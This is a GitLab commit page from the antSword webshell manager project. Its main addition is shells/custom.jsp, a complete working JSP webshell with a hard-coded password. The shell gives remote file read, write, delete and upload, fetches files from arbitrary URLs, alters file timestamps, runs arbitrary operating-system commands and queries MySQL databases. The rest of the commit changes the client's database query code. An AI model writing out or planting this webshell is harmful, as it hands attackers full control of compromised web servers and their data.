Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
befc6cd6
Commit
befc6cd6
authored
Mar 26, 2016
by
antoor
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
添加 jsp shell 样本文件,修正 custom 模式数据库部分逻辑
parent
dcf037fe
Changes
5
Hide whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
384 additions
and
18 deletions
+384
-18
CHANGELOG.md
CHANGELOG.md
+3
-0
README.md
README.md
+1
-1
custom.jsp
shells/custom.jsp
+357
-0
default.jsx
source/core/custom/template/database/default.jsx
+10
-6
index.jsx
source/modules/database/custom/index.jsx
+13
-11
No files found.
CHANGELOG.md
View file @
befc6cd6
...
...
@@ -6,6 +6,9 @@
### /26
1.
文件管理双击:size < 100kb ? 编辑 : 下载
2.
调整 Custom 方式数据库部分代码
3.
添加 Shells 目录, 用于存放 shell 样本代码
4.
添加
`custom.jsp`
服务端样本代码
### /24
1.
文件管理双击文件进行编辑 //size < 100kb
...
...
README.md
View file @
befc6cd6
...
...
@@ -5,7 +5,7 @@
**任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!**
[

](https://nodejs.org/en/download/)
[

](https://github.com/antoor/antSword/releases/tag/1.0
.0)
[

](https://github.com/antoor/antSword/releases/tag/1.1
.0)
## 设计思想
> 中国蚁剑采用了[Electron](http://electron.atom.io/)作为外壳,`ES6`作为前端代码编写语言,搭配`Babel`&&`Webpack`进行组件化构建编译,外加`iconv-lite`编码解码模块以及`superagent`数据发送处理模块还有`nedb`数据存储模块,组成了这个年轻而又充满活力的新一代大杀器。
...
...
shells/custom.jsp
0 → 100644
View file @
befc6cd6
<%@page
import=
"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"
%>
<%!
/**
* AntSword JSP Spy
*
* AntSword 最低版本:v1.1-dev,使用方式 custom 模式连接
* Date: 2016/03/26 v1
* 1. 文件系统 和 terminal 管理
* 2. mysql 数据库支持
* 3. 支持 base64 和 hex 编码
**/
String
Pwd
=
"a"
;
//连接密码
String
encoder
=
"base64"
;
// 数据编码
//String encoder = "hex";
String
cs
=
"UTF-8"
;
String
EC
(
String
s
)
throws
Exception
{
if
(
encoder
.
equals
(
"hex"
)
||
encoder
==
"hex"
)
return
s
;
return
new
String
(
s
.
getBytes
(
"ISO-8859-1"
),
cs
);
}
String
showDatabases
(
String
encode
,
String
conn
)
throws
Exception
{
String
sql
=
"show databases"
;
// mysql
String
columnsep
=
"\t"
;
String
rowsep
=
""
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
false
);
}
String
showTables
(
String
encode
,
String
conn
,
String
dbname
)
throws
Exception
{
String
sql
=
"show tables from "
+
dbname
;
// mysql
String
columnsep
=
"\t"
;
String
rowsep
=
""
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
false
);
}
String
showColumns
(
String
encode
,
String
conn
,
String
dbname
,
String
table
)
throws
Exception
{
String
columnsep
=
"\t"
;
String
rowsep
=
""
;
String
sql
=
"select * from "
+
dbname
+
"."
+
table
+
" limit 0,0"
;
// mysql
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
true
);
}
String
query
(
String
encode
,
String
conn
,
String
sql
)
throws
Exception
{
String
columnsep
=
"\t|\t"
;
// general
String
rowsep
=
"\r\n"
;
return
executeSQL
(
encode
,
conn
,
sql
,
columnsep
,
rowsep
,
true
);
}
String
executeSQL
(
String
encode
,
String
conn
,
String
sql
,
String
columnsep
,
String
rowsep
,
boolean
needcoluname
)
throws
Exception
{
String
ret
=
""
;
conn
=
(
EC
(
conn
));
String
[]
x
=
conn
.
trim
().
replace
(
"\r\n"
,
"\n"
).
split
(
"\n"
);
Class
.
forName
(
x
[
0
].
trim
());
String
url
=
x
[
1
]
+
"&characterEncoding="
+
decode
(
EC
(
encode
),
encoder
);
Connection
c
=
DriverManager
.
getConnection
(
url
);
Statement
stmt
=
c
.
createStatement
();
ResultSet
rs
=
stmt
.
executeQuery
(
sql
);
ResultSetMetaData
rsmd
=
rs
.
getMetaData
();
if
(
needcoluname
)
{
for
(
int
i
=
1
;
i
<=
rsmd
.
getColumnCount
();
i
++)
{
String
columnName
=
rsmd
.
getColumnName
(
i
);
ret
+=
columnName
+
columnsep
;
}
ret
+=
rowsep
;
}
while
(
rs
.
next
())
{
for
(
int
i
=
1
;
i
<=
rsmd
.
getColumnCount
();
i
++)
{
String
columnValue
=
rs
.
getString
(
i
);
ret
+=
columnValue
+
columnsep
;
}
ret
+=
rowsep
;
}
return
ret
;
}
String
WwwRootPathCode
(
HttpServletRequest
r
)
throws
Exception
{
String
d
=
r
.
getSession
().
getServletContext
().
getRealPath
(
"/"
);
String
s
=
""
;
if
(!
d
.
substring
(
0
,
1
).
equals
(
"/"
))
{
File
[]
roots
=
File
.
listRoots
();
for
(
int
i
=
0
;
i
<
roots
.
length
;
i
++)
{
s
+=
roots
[
i
].
toString
().
substring
(
0
,
2
)
+
""
;
}
}
else
{
s
+=
"/"
;
}
return
s
;
}
String
FileTreeCode
(
String
dirPath
)
throws
Exception
{
File
oF
=
new
File
(
dirPath
),
l
[]
=
oF
.
listFiles
();
String
s
=
""
,
sT
,
sQ
,
sF
=
""
;
java
.
util
.
Date
dt
;
SimpleDateFormat
fm
=
new
SimpleDateFormat
(
"yyyy-MM-dd HH:mm:ss"
);
for
(
int
i
=
0
;
i
<
l
.
length
;
i
++)
{
dt
=
new
java
.
util
.
Date
(
l
[
i
].
lastModified
());
sT
=
fm
.
format
(
dt
);
sQ
=
l
[
i
].
canRead
()
?
"R"
:
""
;
sQ
+=
l
[
i
].
canWrite
()
?
" W"
:
""
;
if
(
l
[
i
].
isDirectory
())
{
s
+=
l
[
i
].
getName
()
+
"/\t"
+
sT
+
"\t"
+
l
[
i
].
length
()
+
"\t"
+
sQ
+
"\n"
;
}
else
{
sF
+=
l
[
i
].
getName
()
+
"\t"
+
sT
+
"\t"
+
l
[
i
].
length
()
+
"\t"
+
sQ
+
"\n"
;
}
}
return
s
+=
sF
;
}
String
ReadFileCode
(
String
filePath
)
throws
Exception
{
String
l
=
""
,
s
=
""
;
BufferedReader
br
=
new
BufferedReader
(
new
InputStreamReader
(
new
FileInputStream
(
new
File
(
filePath
))));
while
((
l
=
br
.
readLine
())
!=
null
)
{
s
+=
l
+
"\r\n"
;
}
br
.
close
();
return
s
;
}
String
WriteFileCode
(
String
filePath
,
String
fileContext
)
throws
Exception
{
BufferedWriter
bw
=
new
BufferedWriter
(
new
OutputStreamWriter
(
new
FileOutputStream
(
new
File
(
filePath
))));
bw
.
write
(
fileContext
);
bw
.
close
();
return
"1"
;
}
String
DeleteFileOrDirCode
(
String
fileOrDirPath
)
throws
Exception
{
File
f
=
new
File
(
fileOrDirPath
);
if
(
f
.
isDirectory
())
{
File
x
[]
=
f
.
listFiles
();
for
(
int
k
=
0
;
k
<
x
.
length
;
k
++)
{
if
(!
x
[
k
].
delete
())
{
DeleteFileOrDirCode
(
x
[
k
].
getPath
());
}
}
}
f
.
delete
();
return
"1"
;
}
void
DownloadFileCode
(
String
filePath
,
HttpServletResponse
r
)
throws
Exception
{
int
n
;
byte
[]
b
=
new
byte
[
512
];
r
.
reset
();
ServletOutputStream
os
=
r
.
getOutputStream
();
BufferedInputStream
is
=
new
BufferedInputStream
(
new
FileInputStream
(
filePath
));
os
.
write
((
"
-
>
|
").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("
|<-
").getBytes(), 0, 3);
os.close();
is.close();
}
String UploadFileCode(String savefilePath, String fileHexContext) throws Exception {
String h = "
01234567
89
ABCDEF
";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "
1
";
}
String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception {
File sf = new File(sourceFilePath), df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
CopyFileOrDirCode(sourceFilePath + "
/
" + z[j].getName(), targetFilePath + "
/
" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[1024];
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "
1
";
}
String RenameFileOrDirCode(String oldName, String newName) throws Exception {
File sf = new File(oldName), df = new File(newName);
sf.renameTo(df);
return "
1
";
}
String CreateDirCode(String dirPath) throws Exception {
File f = new File(dirPath);
f.mkdir();
return "
1
";
}
String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception {
File f = new File(fileOrDirPath);
SimpleDateFormat fm = new SimpleDateFormat("
yyyy
-
MM
-
dd
HH:mm:
ss
");
java.util.Date dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "
1
";
}
String WgetCode(String urlPath, String saveFilePath) throws Exception {
URL u = new URL(urlPath);
int n = 0;
FileOutputStream os = new FileOutputStream(saveFilePath);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "
1
";
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("
/
");
String serverInfo = System.getProperty("
os
.
name
");
String separator = File.separator;
String user = System.getProperty("
user
.
name
");
String driverlist = WwwRootPathCode(r);
return d + "
\
t
" + driverlist + "
\
t
" + serverInfo + "
\
t
" + user;
}
boolean isWin() {
String osname = System.getProperty("
os
.
name
");
osname = osname.toLowerCase();
if (osname.startsWith("
win
"))
return true;
return false;
}
String ExecuteCommandCode(String cmdPath, String command) throws Exception {
StringBuffer sb = new StringBuffer("");
String[] c = { cmdPath, !isWin() ? "
-
c
" : "
/
c
", command };
Process p = Runtime.getRuntime().exec(c);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb.toString();
}
String decode(String str) {
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
String decode(String str, String encode){
if(encode.equals("
hex
") || encode=="
hex
"){
if(str=="
null
"||str.equals("
null
")){
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try{
for(int i=0; i<str.length()-1; i+=2 ){
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char)decimal);
temp.append(decimal);
}
}catch(Exception e){
e.printStackTrace();
}
return sb.toString();
}else if(encode.equals("
base64
") || encode == "
base64
"){
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "
\
r
\
n
"
);
}
br
.
close
();
}
%>
<%
response
.
setContentType
(
"text/html"
);
response
.
setCharacterEncoding
(
cs
);
StringBuffer
sb
=
new
StringBuffer
(
""
);
try
{
String
funccode
=
EC
(
request
.
getParameter
(
Pwd
)
+
""
);
String
z0
=
decode
(
EC
(
request
.
getParameter
(
"z0"
)+
""
),
encoder
);
String
z1
=
decode
(
EC
(
request
.
getParameter
(
"z1"
)
+
""
),
encoder
);
String
z2
=
decode
(
EC
(
request
.
getParameter
(
"z2"
)
+
""
),
encoder
);
String
z3
=
decode
(
EC
(
request
.
getParameter
(
"z3"
)
+
""
),
encoder
);
String
[]
pars
=
{
z0
,
z1
,
z2
,
z3
};
sb
.
append
(
"
-
>
|
");
if (funccode.equals("
B
")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("
C
")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("
D
")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("
E
")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("
F
")) {
DownloadFileCode(pars[0], response);
} else if (funccode.equals("
U
")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("
H
")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("
I
")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("
J
")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("
K
")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("
L
")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("
M
")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("
N
")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("
O
")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("
P
")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("
Q
")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("
A
")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("
ERROR
" + "
:
//" + e.toString());
}
sb
.
append
(
"|<-"
);
out
.
print
(
sb
.
toString
());
%>
source/core/custom/template/database/default.jsx
View file @
befc6cd6
//
//
// 默认代码模板
//
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
//
// :db 数据库名
// :table 表名
module
.
exports
=
{
show_databases
:
{
...
...
@@ -16,12 +17,15 @@ module.exports = {
show_tables
:
{
_
:
'O'
,
'z0'
:
'#{encode}'
,
'z1'
:
'#{conn}'
'z1'
:
'#{conn}'
,
'z2'
:
'#{db}'
},
show_columns
:
{
_
:
'P'
,
'z0'
:
'#{encode}'
,
'z1'
:
'#{conn}'
'z1'
:
'#{conn}'
,
'z2'
:
'#{db}'
,
'z3'
:
'#{table}'
},
query
:
{
_
:
'Q'
,
...
...
@@ -29,4 +33,4 @@ module.exports = {
'z1'
:
'#{conn}'
,
'z2'
:
'#{sql}'
}
}
\ No newline at end of file
}
source/modules/database/custom/index.jsx
View file @
befc6cd6
//
//
// 数据库驱动::ASP
// 支持数据库:access,sqlserver,mysql
//
//
class
ASP
{
...
...
@@ -9,9 +9,9 @@ class ASP {
this
.
opt
=
opt
;
this
.
core
=
this
.
opt
.
core
;
this
.
manager
=
this
.
opt
.
super
;
//
//
// * 数据库驱动列表
//
//
this
.
conns
=
{
'mysql'
:
'com.mysql.jdbc.Driver
\
r
\
njdbc:mysql://localhost/test?user=root&password=123456'
,
'sqlserver'
:
'com.microsoft.sqlserver.jdbc.SQLServerDriver
\
r
\
njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456'
,
...
...
@@ -71,10 +71,11 @@ class ASP {
// 生成查询SQL语句
case
'column'
:
let
_co
=
arr
[
1
].
split
(
':'
);
const
db
=
new
Buffer
(
_co
[
1
],
'base64'
).
toString
();
const
table
=
new
Buffer
(
_co
[
2
],
'base64'
).
toString
();
const
column
=
new
Buffer
(
_co
[
3
],
'base64'
).
toString
();
const
sql
=
`SELECT
TOP 20 [
${
column
}
] FROM [
${
table
}
]
ORDER BY 1 DESC;`
;
const
sql
=
`SELECT
${
column
}
FROM
${
db
}
.
${
table
}
ORDER BY 1 DESC;`
;
this
.
manager
.
query
.
editor
.
session
.
setValue
(
sql
);
break
;
}
...
...
@@ -253,7 +254,7 @@ class ASP {
{
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
name
:
[
'access'
,
'microsoft_jet_oledb_4_0'
].
indexOf
(
conf
[
'type'
])
>
-
1
?
conf
[
'conn'
].
match
(
/
[\w]
+.mdb$/
)
:
'database'
db
:
[
'access'
,
'microsoft_jet_oledb_4_0'
].
indexOf
(
conf
[
'type'
])
>
-
1
?
conf
[
'conn'
].
match
(
/
[\w]
+.mdb$/
)
:
'database'
},
(
ret
)
=>
{
const
arr
=
ret
.
split
(
'
\
t'
);
if
(
arr
.
length
===
1
&&
ret
===
''
)
{
...
...
@@ -293,7 +294,7 @@ class ASP {
{
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
name
:
db
db
:
db
},
(
ret
)
=>
{
const
arr
=
ret
.
split
(
'
\
t'
);
const
_db
=
new
Buffer
(
db
).
toString
(
'base64'
);
...
...
@@ -329,7 +330,8 @@ class ASP {
{
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
table
:
conf
[
'type'
]
===
'oracle'
?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM
${
table
}
A) WHERE N=1`
:
`SELECT TOP 1 * FROM
${
table
}
`
db
:
db
,
table
:
table
},
(
ret
)
=>
{
const
arr
=
ret
.
split
(
'
\
t'
);
const
_db
=
new
Buffer
(
db
).
toString
(
'base64'
);
...
...
@@ -352,8 +354,8 @@ class ASP {
// 更新编辑器SQL语句
this
.
manager
.
query
.
editor
.
session
.
setValue
(
conf
[
'type'
]
===
'oracle'
?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM
${
table
}
A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
:
`SELECT
TOP 20 * FROM
${
table
}
ORDER BY 1 DESC
;`
);
?
`SELECT * FROM (SELECT A.*,ROWNUM N FROM
${
db
}
.
${
table
}
A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
:
`SELECT
* FROM
${
db
}
.
${
table
}
ORDER BY 1 DESC LIMIT 0,20
;`
);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
...
...
@@ -454,4 +456,4 @@ class ASP {
}
module
.
exports
=
ASP
;
\ No newline at end of file
module
.
exports
=
ASP
;
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment